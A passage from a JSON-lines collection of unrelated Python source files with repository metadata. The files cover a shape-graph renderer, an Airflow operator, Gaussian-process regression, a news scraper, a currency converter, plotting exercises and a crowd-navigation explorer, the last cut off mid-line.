\"./operationGraphImages/\"\n\nGRAPH_NODE_SIZE = 100\nGRAPH_H_MARGIN = 100\nGRAPH_V_MARGIN = 200\nLINE_COLOR = (127,127,127)\nLINE_WIDTH = 5\n\nOPERATIONS:dict[str,Operation] = {\n \"cut\" : Operation(1,2,\"Cut\",shapeOperations.cut),\n \"hcut\" : Operation(1,1,\"Half cut\",shapeOperations.halfCut),\n \"r90cw\" : Operation(1,1,\"Rotate 90° clockwise\",shapeOperations.rotate90CW),\n \"r90ccw\" : Operation(1,1,\"Rotate 90° counterclockwise\",shapeOperations.rotate90CCW),\n \"r180\" : Operation(1,1,\"Rotate 180°\",shapeOperations.rotate180),\n \"sh\" : Operation(2,2,\"Swap halves\",shapeOperations.swapHalves),\n \"stack\" : Operation(2,1,\"Stack\",shapeOperations.stack),\n \"paint\" : Operation(2,1,\"Top paint\",shapeOperations.topPaint,[1]),\n \"fpaint\" : Operation(2,1,\"Full paint\",shapeOperations.fullPaint,[1]),\n \"pin\" : Operation(1,1,\"Push pin\",shapeOperations.pushPin),\n \"crystal\" : Operation(2,1,\"Generate crystals\",shapeOperations.genCrystal,[1]),\n \"unstack\" : Operation(1,2,\"Unstack\",shapeOperations.unstack)\n}\n\nfor k,v in OPERATIONS.items():\n v.image = pygame.image.load(f\"{IMAGES_START_PATH}{k}.png\")\n\npygame.font.init()\nSHAPE_VAR_FONT = pygame.font.SysFont(\"arial\",30)\nSHAPE_VAR_COLOR = (255,255,255)\n\ndef getInstructionsFromText(text:str) -> tuple[bool,list[Instruction]|str|OutputString]:\n\n def decodeInstruction(instruction:str) -> tuple[bool,str|OutputString|Instruction]:\n\n if DEFINITION_SEPARATOR in instruction:\n\n if instruction.count(DEFINITION_SEPARATOR) > 1:\n return False,f\"Max 1 '{DEFINITION_SEPARATOR}' per instruction\"\n\n shapeVars, shapeCode = instruction.split(DEFINITION_SEPARATOR)\n if shapeVars == \"\":\n return False,\"Empty variables section\"\n if shapeCode == \"\":\n return False,\"Empty shape code section\"\n\n shapeVars = shapeVars.split(VALUE_SEPARATOR)\n shapeVarsInt = []\n for i,sv in enumerate(shapeVars):\n try:\n curVar = int(sv)\n except ValueError:\n return False,OutputString(\"Shape variable \",OutputString.Number(i,True),\" not an integer\")\n if curVar < 0:\n return False,OutputString(\"Shape variable \",OutputString.Number(i,True),\" can't be negative\")\n shapeVarsInt.append(curVar)\n\n shapeCodesOrError, isShapeCodeValid = shapeCodeGenerator.generateShapeCodes(shapeCode)\n if not isShapeCodeValid:\n return False,OutputString(\"Error while decoding shape code : \",OutputString.UnsafeString(shapeCodesOrError))\n\n if len(shapeCodesOrError) != len(shapeVarsInt):\n return False,f\"Number of shape codes outputed isn't the same as number of shape variables given ({len(shapeCodesOrError)} vs {len(shapeVarsInt)})\"\n\n return True,Instruction(Instruction.DEF,shapeVars=shapeVarsInt,shapeCodes=shapeCodesOrError)\n\n if instruction.count(OPERATION_SEPARATOR) != 2:\n return False,f\"Operation instruction must contain 2 '{OPERATION_SEPARATOR}'\"\n\n inputs, op, outputs = instruction.split(OPERATION_SEPARATOR)\n for k,v in {\"inputs\":inputs,\"operation\":op,\"outputs\":outputs}.items():\n if v == \"\":\n return False,f\"Empty {k} section\"\n\n if OPERATIONS.get(op) is None:\n return False,OutputString(\"Unknown operation '\",OutputString.UnsafeString(op),\"'\")\n\n inputs = inputs.split(VALUE_SEPARATOR)\n for old,new in globalInfos.SHAPE_CHAR_REPLACEMENT.items():\n inputs = [i.replace(old,new) for i in inputs]\n outputs = outputs.split(VALUE_SEPARATOR)\n inputsInt = []\n colorInputs = []\n outputsInt = []\n curOperation = OPERATIONS[op]\n\n for i,input in enumerate(inputs):\n if i in curOperation.colorInputindexes:\n if input not in globalInfos.SHAPE_COLORS:\n return False,OutputString(\"Input \",OutputString.Number(i,True),\" must be a color\")\n colorInputs.append(input)\n else:\n try:\n curVar = int(input)\n except ValueError:\n return False,OutputString(\"Input \",OutputString.Number(i,True),\" not an integer\")\n if curVar < 0:\n return False,OutputString(\"Input \",OutputString.Number(i,True),\" can't be negative\")\n inputsInt.append(curVar)\n\n for i,output in enumerate(outputs):\n try:\n curVar = int(output)\n except ValueError:\n return False,OutputString(\"Output \",OutputString.Number(i,True),\" not an integer\")\n if curVar < 0:\n return False,OutputString(\"Output \",OutputString.Number(i,True),\" can't be negative\")\n outputsInt.append(curVar)\n\n for e,g,t in zip((curOperation.numInputs,curOperation.numOutputs),(len(inputsInt)+len(colorInputs),len(outputsInt)),(\"inputs\",\"outputs\")):\n if e != g:\n return False,f\"Number of operation {t} isn't the same as number of {t} given ({e} vs {g})\"\n\n return True,Instruction(Instruction.OP,inputShapeVars=inputsInt,inputColorVars=colorInputs,\n operation=curOperation,outputShapeVars=outputsInt)\n\n if text == \"\":\n return False,\"Empty text\"\n\n instructions = text.split(INSTRUCTION_SEPARATOR)\n decodedInstructions = []\n\n for i,instruction in enumerate(instructions):\n valid, decodedInstructionOrError = decodeInstruction(instruction)\n if not valid:\n return False,OutputString(\"Error in instruction \",OutputString.Number(i,True),\" : \",decodedInstructionOrError)\n decodedInstructions.append(decodedInstructionOrError)\n\n return True,decodedInstructions\n\ndef genOperationGraph(instructions:list[Instruction],showShapeVars:bool) -> tuple[bool,str|OutputString|tuple[tuple[io.BytesIO,int],dict[int,str]]]:\n\n seenInputVars = []\n seenOutputVars = []\n\n for i,instruction in enumerate(instructions):\n\n errMsgStart = OutputString(\"Error in instruction \",OutputString.Number(i,True),\" : \")\n\n if instruction.type == Instruction.DEF:\n\n for var in instruction.vars:\n if var in seenOutputVars:\n return False,OutputString(errMsgStart,\"Variable '\",OutputString.UnsafeNumber(var),\"' cannot be used as output/defined to multiple times\")\n seenOutputVars.append(var)\n\n else:\n\n for var in instruction.inputs:\n if var in instruction.outputs:\n return False,OutputString(errMsgStart,\"Variable '\",OutputString.UnsafeNumber(var),\"' cannot be used as input and output in the same instruction\")\n if var in seenInputVars:\n return False,OutputString(errMsgStart,\"Variable '\",OutputString.UnsafeNumber(var),\"' cannot be used as input multiple times\")\n seenInputVars.append(var)\n\n for var in instruction.outputs:\n if var in seenOutputVars:\n return False,OutputString(errMsgStart,\"Variable '\",OutputString.UnsafeNumber(var),\"' cannot be used as output/defined to multiple times\")\n seenOutputVars.append(var)\n\n for siv in seenInputVars:\n if siv not in seenOutputVars:\n return False,OutputString(\"Variable '\",OutputString.UnsafeNumber(siv),\"' is not used as output\")\n\n newInstructions = []\n for instruction in instructions:\n if instruction.type == Instruction.OP:\n newInstructions.append(instruction)\n continue\n for var,code in zip(instruction.vars,instruction.shapeCodes):\n newInstructions.append(Instruction(Instruction.DEF,shapeVars=[var],shapeCodes=[code]))\n\n instructions = newInstructions.copy()\n\n inputLocations = {}\n outputLocations = {}\n\n for i,instruction in enumerate(instructions):\n if instruction.type == Instruction.DEF:\n outputLocations[instruction.vars[0]] = i\n else:\n for input in instruction.inputs:\n inputLocations[input] = i\n for output in instruction.outputs:\n outputLocations[output] = i\n\n graphNodes:dict[int,GraphNode] = {}\n curId = 0\n handledInstructions = {}\n wasProcessingInstructionIndex = None\n\n def renderShape(shapeCode) -> pygame.Surface:\n return shapeViewer.renderShape(shapeCode,GRAPH_NODE_SIZE)\n\n def newId() -> int:\n nonlocal curId\n curId += 1\n return curId - 1\n\n def genGraphNode(instruction:Instruction,instructionIndex:int) -> int:\n nonlocal wasProcessingInstructionIndex\n\n def createFinalOutputShape(inputs:list[int],shapeCode:str,shapeVar:int) -> int:\n curId = newId()\n graphNodes[curId] = GraphNode(GraphNode.SHAPE,inputs,None,renderShape(shapeCode),shapeVar,shapeCode)\n return curId\n\n if instructionIndex in handledInstructions:\n return handledInstructions[instructionIndex]\n\n if instruction.type == Instruction.DEF:\n\n curShapeVar = instruction.vars[0]\n curShapeCode = instruction.shapeCodes[0]\n\n curId = newId()\n graphNodes[curId] = GraphNode(GraphNode.SHAPE,None,None,\n renderShape(curShapeCode),curShapeVar,curShapeCode)\n handledInstructions[instructionIndex] = curId\n\n connectedInstructionLocation = inputLocations.get(curShapeVar)\n if connectedInstructionLocation is None:\n connectedNodeId = createFinalOutputShape([],curShapeCode,curShapeVar)\n else:\n connectedNodeId = genGraphNode(instructions[connectedInstructionLocation],connectedInstructionLocation)\n\n graphNodes[connectedNodeId].inputs.append(curId)\n graphNodes[curId].outputs = [connectedNodeId]\n return curId\n\n connectedInputs = []\n inputShapeCodes = []\n\n curCurId = newId()\n graphNodes[curCurId] = GraphNode(GraphNode.OP,[],[],instruction.op.image)\n handledInstructions[instructionIndex] = curCurId\n\n for input in instruction.inputs:\n inputLocation = outputLocations[input]\n inputNodeId = genGraphNode(instructions[inputLocation],inputLocation)\n if graphNodes[inputNodeId].type == GraphNode.SHAPE:\n connectedInput = inputNodeId\n else:\n if graphNodes[inputNodeId].outputs == []:\n raise _GraphNodeLoopError\n for output in graphNodes[inputNodeId].outputs:\n if graphNodes[output].shapeVar == input:\n connectedInput = output\n break\n\n connectedInputs.append(connectedInput)\n inputShapeCodes.append(graphNodes[connectedInput].shapeCode)\n\n graphNodes[curCurId].inputs.extend(connectedInputs)\n\n wasProcessingInstructionIndex = instructionIndex\n outputShapeCodes = instruction.op.func(*[shapeOperations.Shape.fromShapeCode(s) for s in inputShapeCodes],*instruction.colorInputs)\n outputShapeCodes = [s.toShapeCode() for s in outputShapeCodes]\n\n toGenOutputs = []\n\n for output,outputShapeCode in zip(instruction.outputs,outputShapeCodes):\n outputLocation = inputLocations.get(output)\n if outputLocation is None:\n graphNodes[curCurId].outputs.append(createFinalOutputShape([curCurId],outputShapeCode,output))\n else:\n curId = newId()\n graphNodes[curId] = GraphNode(GraphNode.SHAPE,[curCurId],None,\n renderShape(outputShapeCode),output,outputShapeCode)\n graphNodes[curCurId].outputs.append(curId)\n toGenOutputs.append((curId,outputLocation))\n for cid,ol in toGenOutputs:\n graphNodes[cid].outputs = [genGraphNode(instructions[ol],ol)]\n\n return curCurId\n\n try:\n for i,instruction in enumerate(instructions):\n genGraphNode(instruction,i)\n except shapeOperations.InvalidOperationInputs as e:\n return False,OutputString(\"Error happened in instruction \",OutputString.Number(wasProcessingInstructionIndex,True),\" : \",str(e))\n except RecursionError:\n return False,f\"Too many connected instructions\"\n except _GraphNodeLoopError:\n return False,f\"Error : loop in graph nodes\"\n\n def getNodeLayer(node:GraphNode) -> int:\n if node.layer is None:\n if node.inputs is None:\n node.layer = 0\n else:\n node.layer = max(getNodeLayer(graphNodes[n]) for n in node.inputs)+1\n return node.layer\n\n for node in graphNodes.values():\n getNodeLayer(node)\n\n maxNodeLayer = max(n.layer for n in graphNodes.values())\n for node in graphNodes.values():\n if node.outputs is None:\n node.layer = maxNodeLayer\n\n graphNodesLayers:dict[int,dict[int,GraphNode]] = {}\n for nodeId,node in graphNodes.items():\n if graphNodesLayers.get(node.layer) is None:\n graphNodesLayers[node.layer] = {}\n graphNodesLayers[node.layer][nodeId] = node\n\n maxNodesPerLayer = max(len(l) for l in graphNodesLayers.values())\n graphWidth = round((maxNodesPerLayer*GRAPH_NODE_SIZE)+((maxNodesPerLayer-1)*GRAPH_H_MARGIN))\n graphHeight = round(((maxNodeLayer+1)*GRAPH_NODE_SIZE)+(maxNodeLayer*GRAPH_V_MARGIN))\n\n for layerIndex,layer in graphNodesLayers.items():\n layerLen = len(layer)\n layerWidth = (layerLen*GRAPH_NODE_SIZE)+((layerLen-1)*GRAPH_H_MARGIN)\n for nodeIndex,node in enumerate(layer.values()):\n node.pos = (((graphWidth-layerWidth)/2)+(nodeIndex*(GRAPH_NODE_SIZE+GRAPH_H_MARGIN)),\n layerIndex*(GRAPH_NODE_SIZE+GRAPH_V_MARGIN))\n\n graphSurface = pygame.Surface((graphWidth,graphHeight),pygame.SRCALPHA)\n\n for node in graphNodes.values():\n if node.outputs is not None:\n for output in node.outputs:\n outputPos = graphNodes[output].pos\n pygame.draw.line(graphSurface,LINE_COLOR,\n (node.pos[0]+(GRAPH_NODE_SIZE/2),node.pos[1]+GRAPH_NODE_SIZE),\n (outputPos[0]+(GRAPH_NODE_SIZE/2),outputPos[1]),LINE_WIDTH)\n\n shapeVarValues = {}\n\n for node in graphNodes.values():\n graphSurface.blit(node.image,node.pos)\n if node.type == GraphNode.SHAPE:\n shapeVarValues[node.shapeVar] = node.shapeCode\n if showShapeVars:\n varText = SHAPE_VAR_FONT.render(str(node.shapeVar),1,SHAPE_VAR_COLOR)\n graphSurface.blit(varText,(node.pos[0]+GRAPH_NODE_SIZE-varText.get_width(),\n node.pos[1]+GRAPH_NODE_SIZE-varText.get_height()))\n\n return True,(utils.pygameSurfToBytes(graphSurface),shapeVarValues)","repo_name":"Loupau38/Fake-ShapeBot-2.0","sub_path":"operationGraph.py","file_name":"operationGraph.py","file_ext":"py","file_size_in_byte":16653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71824568193","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.contrib.hooks.aws_hook import AwsHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\n\nclass PostGresOperator(BaseOperator):\n ui_color = '#358140'\n\n @apply_defaults\n def __init__(self,\n redshift_conn_id=\"\",\n sql_list=\"\",\n *args, **kwargs):\n\n super(PostGresOperator, self).__init__(*args, **kwargs)\n self.redshift_conn_id = redshift_conn_id\n self.sql_list=sql_list\n\n def execute(self, context):\n redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n\n self.log.info(\"Creating Redshift tables \")\n\n for command in self.sql_list:\n\n redshift.run(command)","repo_name":"freedomtowin/udac-data-eng-final-project-airflow-redshift-etl","sub_path":"airflow/plugins/operators/postgres_operator.py","file_name":"postgres_operator.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36992271026","text":"import pickle\nimport gpytorch\nimport torch\nimport sys\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt \n\nPACKAGE_PARENT = '..'\nSCRIPT_DIR = os.path.dirname(os.path.realpath(os.path.join(os.getcwd(), os.path.expanduser(__file__))))\nsys.path.append(os.path.normpath(os.path.join(SCRIPT_DIR, PACKAGE_PARENT)))\nfrom datasets import synthetic_regression_problem\nfrom utils import get_hs, n_neighbours_to_h, get_effective_datapoints\nfrom kernels import epanechnikov_windowing_func, hilbert_kernel\n\n\nclass GPModel(gpytorch.models.ExactGP):\n def __init__(self, train_x, train_y, likelihood):\n # train_x, train_y = torch.Tensor(train_x), torch.Tensor(train_y)\n \n super(GPModel, self).__init__(train_x, train_y, likelihood)\n self.mean_module = gpytorch.means.ZeroMean()\n self.covar_module = gpytorch.kernels.RBFKernel(lengthscale_constraint = gpytorch.constraints.GreaterThan(1e-6))\n \n def forward(self, x):\n mean_x = self.mean_module(x)\n covar_x = self.covar_module(x)\n return gpytorch.distributions.MultivariateNormal(mean_x, covar_x)\n \ndef construct_localGPRs(Xtr,ytr, central_points, noise, h, windowing_func):\n models = []\n for central_point_idx in range(central_points.shape[0]):\n central_point = central_points[central_point_idx]\n w = windowing_func((Xtr - central_point)/h)\n Xtr_nonzero, ytr_nonzero, w_nonzero = get_effective_datapoints(Xtr, ytr, w)\n if (w_nonzero > 0).sum() < 3:\n raise ValueError('h is too small')\n if (w_nonzero > 0).sum() > 0.5 * len(Xtr):\n raise ValueError('h is too big')\n\n invw_nonzero = torch.Tensor(1/w_nonzero)\n likelihood = gpytorch.likelihoods.FixedNoiseGaussianLikelihood(noise=invw_nonzero * noise)\n model = GPModel(Xtr_nonzero, ytr_nonzero, likelihood)\n models.append(model)\n return models\n\n\n \n\ndef train_GPR(model, lr, training_iter, verbose=False):\n model.train()\n model.likelihood.train()\n mll = gpytorch.mlls.ExactMarginalLogLikelihood(model.likelihood, model)\n optimizer = torch.optim.LBFGS([\n {'params': model.parameters()}, # Includes GaussianLikelihood parameters\n ], lr=lr)\n \n Xtr = model.train_inputs[0]\n ytr = model.train_targets\n \n def closure():\n # Zero gradients from previous iteration\n optimizer.zero_grad()\n # Output from model\n output = model(Xtr)\n # Calc loss and backprop gradients\n loss = -mll(output, ytr)\n loss.backward()\n return loss\n \n if verbose:\n loss = -mll(model(Xtr), ytr)\n print('initial mll {} kernel lengthscale {}'.format(loss, model.covar_module.lengthscale))\n \n for i in range(training_iter):\n optimizer.step(closure)\n loss = closure()\n if verbose:\n print('Optimized mll {}, Optimized kernel lengthscale {}'.format(loss, model.covar_module.lengthscale))\n\n\n\n\n\nif __name__ == '__main__':\n n_points = 100\n Xtr, ytr, true_function = synthetic_regression_problem(train_len=n_points, noise_level=0.05)\n Xtr, ytr = torch.Tensor(Xtr), torch.Tensor(ytr)\n x_val = torch.Tensor(np.linspace(0,1,1000)).view(-1,1)\n y_val = true_function(x_val)\n \n noise = 0.04\n windowing_func = epanechnikov_windowing_func\n\n \n best_val_loss = np.inf\n best_models = []\n history = {'h':[], 'val_mse': [], 'predictions':[]}\n for h in np.logspace(-5, 0, 50):\n # for h in [0.005]:\n val_mse_loss = 0\n try:\n models = construct_localGPRs(Xtr,ytr, x_val, noise, h, windowing_func)\n except ValueError as inst:\n if inst.args[0] == 'h is too small':\n continue\n elif inst.args[0] == 'h is too big':\n break\n else:\n raise inst\n predictions = {'mean':[], 'lower': [], 'upper':[]} \n for central_point_idx in tqdm(range(x_val.shape[0]), total=len(x_val)):\n model = models[central_point_idx]\n central_point = x_val[central_point_idx]\n train_GPR(model, lr=0.01, training_iter=10, verbose=False)\n model.eval()\n model.likelihood.eval()\n y_pred = model.likelihood(model(central_point), noise=torch.Tensor([noise]))\n predictions['mean'].append(y_pred.mean.item())\n lower, upper = y_pred.confidence_region()\n lower, upper = lower.detach().numpy().item(), upper.detach().numpy().item()\n predictions['lower'].append(lower)\n predictions['upper'].append(upper)\n val_mse_loss += (y_pred.mean - y_val[central_point_idx])**2\n val_mse_loss = val_mse_loss / len(x_val)\n print('h: {}, val mse {}'.format(h, val_mse_loss)) \n if val_mse_loss < best_val_loss:\n best_val_loss = val_mse_loss\n best_models = models\n best_predictions = predictions\n \n history['h'].append(h)\n history['val_mse'].append(val_mse_loss)\n history['predictions'].append(predictions) \n \n history['train_data'] = (Xtr.numpy(), ytr.numpy())\n with open(os.path.join('local_gp', 'lgp_toy{}.pkl'.format(n_points)), 'wb') as f:\n pickle.dump(history, f)\n\n plt.plot(x_val, y_val, label='True function')\n plt.plot(Xtr,ytr, 'kx', 'Training points')\n plt.plot(x_val, best_predictions['mean'], label='Predictions')\n plt.fill_between(x_val.reshape(-1), best_predictions['lower'], \n best_predictions['upper'])\n plt.legend()\n plt.show()\n ","repo_name":"bkozyrskiy/Local_GP","sub_path":"local_gp/example_local_gpytorchGP.py","file_name":"example_local_gpytorchGP.py","file_ext":"py","file_size_in_byte":5609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9517369478","text":"import time\n\nimport requests\nfrom parsel import Selector\n\nfrom tech_news.database import create_news\n\n\n# Requisito 1\ndef fetch(url):\n for _ in range(5):\n try:\n response = requests.get(\n url, headers={\"User-Agent\": \"Fake user-agent\"}, timeout=3\n )\n time.sleep(1)\n if response.status_code != 200:\n return None\n return response.text\n except requests.ReadTimeout:\n return None\n\n\n# Requisito 2\ndef scrape_novidades(html_content): # link da noticia\n selector = Selector(html_content)\n return selector.css(\"h2.entry-title a::attr(href)\").getall()\n\n\n# Requisito 3\ndef scrape_next_page_link(html_content): # link da proxima pagina\n selector = Selector(html_content)\n return selector.css(\"a.next::attr(href)\").get()\n\n\n# Requisito 4\n# Impotância da canonical TAG https://rockcontent.com/br/blog/canonical-tag/\ndef scrape_noticia(html_content):\n selector = Selector(html_content)\n comments = selector.css(\"div.post-comments h5::text\").get()\n summary = selector.css(\"div.entry-content > p:nth-of-type(1) *::text\")\n tags = selector.css(\"a[rel=tag]::text\").getall()\n return {\n \"url\": selector.css(\"link[rel=canonical]::attr(href)\").get(),\n \"title\": selector.css(\"h1.entry-title::text\").get().strip(),\n \"timestamp\": selector.css(\"li.meta-date::text\").get(),\n \"writer\": selector.css(\"span.author a::text\").get(),\n \"comments_count\": comments.split()[0] if comments else 0,\n \"summary\": \"\".join(summary.getall()).strip(),\n \"tags\": tags if tags else [],\n \"category\": selector.css(\"a.category-style span.label::text\").get(),\n }\n\n\n# Requisito 5\ndef get_tech_news(amount):\n url = \"https://blog.betrybe.com\"\n urls = []\n\n while len(urls) <= amount:\n content = fetch(url)\n news = scrape_novidades(content)\n\n for new in news:\n urls.append(scrape_noticia(fetch(new)))\n url = scrape_next_page_link(content)\n create_news(urls[:amount])\n return urls[:amount]\n","repo_name":"afstudiox/tech-news","sub_path":"tech_news/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16890689132","text":"# importing requests\nimport requests\n# importing json\nimport json\n# importing system from os\nfrom os import system\n# importing graphic library\nfrom tkinter import *\n# application module\ndef Application(self, master=None):\n # reset function\n def Reset():\n self.result.destroy()\n self.menu.destroy()\n Start()\n # get price function\n def GetPrice():\n # connect api\n api = requests.get('https://economia.awesomeapi.com.br/all/USD-BRL')\n result = api.json()\n self.price = result['USD']['bid']\n # enter event\n def Enter(event):\n Apply()\n # apply function\n def Apply():\n # result widget\n self.result = Frame(self.top)\n self.result.pack()\n # result label\n rLabel = Label(self.result, height=4, font=('', 12), text='')\n try:\n valueInput = float(self.amount.get())\n rLabel['text'] = 'Com R${:.2f} você pode\\ncomprar US${:.2f}.'.format(valueInput, valueInput / float(self.price))\n rLabel['font'] = ('', 12, 'bold')\n except ValueError:\n rLabel['text'] = 'Erro: USB 01'\n rLabel['fg'] = 'red'\n rLabel['font'] = ('', 15, 'bold')\n rLabel.pack(pady=(25, 25))\n self.starting.destroy()\n self.menu.destroy()\n Menu()\n self.apply['command'] = Reset\n self.apply['text'] = 'Voltar'\n # menu module\n def Menu():\n # menu widget\n self.menu = Frame(self.top)\n self.menu.pack()\n # exit button\n exit = Button(self.menu, command=self.top.quit, text='Sair')\n exit.pack(side=LEFT, pady=(10, 5), padx=(2, 2))\n # apply button\n self.apply = Button(self.menu, command=Apply, text='Converter')\n self.apply.pack(side=LEFT, pady=(10, 5), padx=(2, 2))\n # starting window module\n def Start():\n # start window widget\n self.starting = Frame(self.top)\n self.starting.pack()\n # call to action\n cta = Label(self.starting, font=('', 13), text='Ensira um valor em reais\\npara convertê-lo para dólares.')\n cta.pack(pady=(15, 5))\n # price label\n price = Label(self.starting, fg='green', text='US$1.00 = R${:.2f}.'.format(float(self.price)))\n price.pack(pady=(5, 5))\n # user input widget\n self.userInput = Frame(self.starting)\n self.userInput.pack()\n # label\n real = Label(self.userInput, text='R$')\n real.pack(side=LEFT)\n self.amount = Entry(self.userInput, width=12)\n self.amount.insert(END, 100)\n self.amount.pack(side=LEFT, pady=(5, 5))\n self.amount.bind('', Enter)\n # menu\n Menu()\n # clear terminal\n system('clear')\n # top frame\n self.top = Frame(master)\n self.top.pack()\n # get price\n GetPrice()\n # starting window\n Start()\n# application setup\nroot = Tk()\nroot.title('Exchange')\nroot.geometry('400x200')\n# application start\nApplication(root)\n# mainloop\nroot.mainloop()\n","repo_name":"mtvlc/Python_CursoEmVideo","sub_path":"World1/Challenge010/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"45912961880","text":"from numpy import array, arange,vstack,dot,random\nfrom matplotlib import pyplot as plt\nfrom numpy import array, arange,vstack,dot,random\nfrom matplotlib import pyplot as plt\nimport os\nimport csv\n\nplt.plot([1,3,5,7,9,11],[0,2,4,6,8,10])\nplt.show()\n\nplt.plot([1,2,3,4,5,6,7],[80,81,77,70,68,66,76], \"y-*\")\nplt.plot([80,81,77,70,68,66,76], \"c-*\")\n\nplt.title(\"Weekly temp\")\nplt.xlabel(\"Days\")\nplt.ylabel(\"Temperature\")\nplt.axis([0,10,0,82])\nplt.show()\n\nplt.plot(arange(1,100,5))\nplt.show()\n\nplt.plot([1,2,3,4,5,6,7,8],[2,4,6,8,10,12,14,16])\n\nplt.plot([2,4,6,8,10,12,14,16], \"y-*\")\nplt.show()\n\nplt.plot(arange(3,60,3), \"g*\")\nplt.show()\n\nhours=arange(1,16)\ntemperature=arange(1,16)\nplt.plot(hours, temperature**2, \"r.\", hours, temperature, \"g-x\")\nplt.axis([0,20,0,400])\nplt.title(\"Doube plots\")\nplt.xlabel(\"hours\")\nplt.ylabel(\"raise of Temp per hour\")\nplt.legend((\"hours\",\"temperature\"), loc=2)\nplt.show()\n\ndays=arange(1,14)\nlearners=arange(15,28)\nplt.plot(days,learners**2, \"c\", days,learners)\nplt.axis([0,18,0,850])\nplt.title(\"index of Learning programming\")\nplt.xlabel(\"Days\")\nplt.ylabel(\"Learners\")\nplt.show()\nplt.bar(arange(1,12), arange(1,23,2), width=.75)\nplt.show()\n\n\nplt.bar(arange(1,12)*2, arange(1,23,2), color=\"green\")\nplt.bar(arange(1,12)*2+1, arange(1,43,4),color=\"yellow\")\nplt.xticks(arange(1,12)*2+1, arange(1,13))\nplt.show()\n\n\nplt.hist(random.randn(20000),10)\nplt.annotate('Expected Mean', xy=(0,0),xytext=(0,200),ha=\"center\",\narrowprops=dict(facecolor='yellow'),fontsize=30)\nplt.show()\n#plt.annotate(r\"$\\hat \\mu= 0$\",xy=(0,0),xytext=(0,100),ha=\"center\",\n#arrowprops=dict(facecolor=\"white\"), fontsize=25)\nplt.hist(random.randn(10000),25)\nplt.annotate(r\"$\\hat \\mu= 0$\",xy=(0,0),xytext=(0,200),ha=\"center\",arrowprops=dict(facecolor=\"red\"), fontsize=20)\npath=\"/home/jeanne/Desktop/Realpython/Chapter12 practice files/Output/\" \nplt.savefig(path+\"histogram.png\")\nplt.savefig(path+\"histogram.pdf\")\nplt.savefig(path+\"histogram.jpg\")\nplt.show()\n\n\nx1=[]\nx2=[]\ny=[]\npath=\"/home/jeanne/Desktop/Realpython/Chapter15practice files/\"\nwith open(\"/home/jeanne/Desktop/Realpython/Chapter15practice files /pirates.csv\",\"rU\")as file_name:\n\tcsv_file=csv.reader(file_name)\n\tnext(file_name)\n\n\tfor year,temp, pirate in csv_file:\t\n\t\tx1.append(year)\n\t\tx2.append(temp)\n\t\ty.append(pirate)\n\t\n\tplt.plot(x2,y, \"r-*\")\n\tplt.title(\"Relationship between temperture and pirates \")\n\tplt.xlabel(\"Temperature\")\n\tplt.ylabel(\"Pirates\")\n\t\n\tfor year in range(len(x1)):\n\t\tplt.annotate(x1[year], xy=(x2[year],y[year]))\n\t\n\tplt.savefig(\"/home/jeanne/Desktop/Realpython/Chapter15practice files /\"+\"TempVsPirates.png\")\n\tplt.show()\n\t\n","repo_name":"ujrc/RealPython","sub_path":"Chapter15/Chapter15_Review_Exercises_2.py","file_name":"Chapter15_Review_Exercises_2.py","file_ext":"py","file_size_in_byte":2596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32565773738","text":"import logging\nimport copy\nimport torch\nimport numpy as np\nfrom crowd_sim.envs.utils.info import *\nfrom crowd_sim.envs.utils.action import ActionXY\nfrom crowd_nav.utils.visualize_episode import visualize_episode\n\nclass EmpowermentExplorer(object):\n def __init__(self, env, robot, device, args, memory=None, gamma=None, target_policy=None):\n self.env = env\n self.robot = robot\n self.device = device\n self.memory = memory\n self.gamma = gamma\n self.target_policy = target_policy\n self.target_model = None\n self.stats = None\n self.args = args\n\n def update_target_model(self, model):\n self.target_model = copy.deepcopy(model)\n\n # @profile\n def run_k_episodes(self, k, phase, update_memory=False, imitation_learning=False, episode=None,\n print_failure=False):\n self.robot.policy.set_phase(phase)\n success_times = []\n nav_distances = []\n collision_times = []\n timeout_times = []\n success = 0\n collision = 0\n timeout = 0\n too_close = 0\n min_dist = []\n cumulative_rewards = []\n collision_cases = []\n timeout_cases = []\n hum_travel_dist = []\n hum_travel_time = []\n\n for i in range(k):\n ob = self.env.reset(phase)\n done = False\n states = []\n actions = []\n rewards = []\n action_ids = []\n while not done:\n action = self.robot.act(ob)\n action = ActionXY(action[0], action[1])\n ob, reward, done, info = self.env.step(action)\n states.append(self.robot.policy.last_state)\n actions.append(action)\n rewards.append(reward)\n if imitation_learning:\n action_ids.append(0)\n else:\n action_ids.append(self.robot.policy.last_action_id)\n\n if isinstance(info, Danger):\n too_close += 1\n min_dist.append(info.min_dist)\n\n if i % 100 == 0:\n self.args.vis_type = 'traj'\n self.args.test_case = 12\n self.args.output_file = 'episode_{}.png'.format(i)\n self.robot.policy.set_phase('test')\n visualize_episode(robot=self.robot, env=self.env, args=self.args, imitation_learning=imitation_learning)\n self.robot.policy.set_phase('train')\n\n if isinstance(info, ReachGoal):\n success += 1\n success_times.append(self.env.global_time)\n\n if phase in ['test', 'val']:\n nav_distances.append(sum([(action.vx ** 2 + action.vy ** 2) ** .5 * self.robot.time_step for action in actions]))\n (human_times, human_distances) = self.env.get_human_times()\n hum_travel_dist.append(average(human_distances))\n hum_travel_time.append(average(human_times))\n\n elif isinstance(info, Collision):\n collision += 1\n collision_cases.append(i)\n collision_times.append(self.env.global_time)\n elif isinstance(info, Timeout):\n timeout += 1\n timeout_cases.append(i)\n timeout_times.append(self.env.time_limit)\n else:\n raise ValueError('Invalid end signal from environment')\n\n if update_memory:\n if isinstance(info, ReachGoal) or isinstance(info, Collision):\n # only add positive(success) or negative(collision) experience in experience set\n self.update_memory(states, 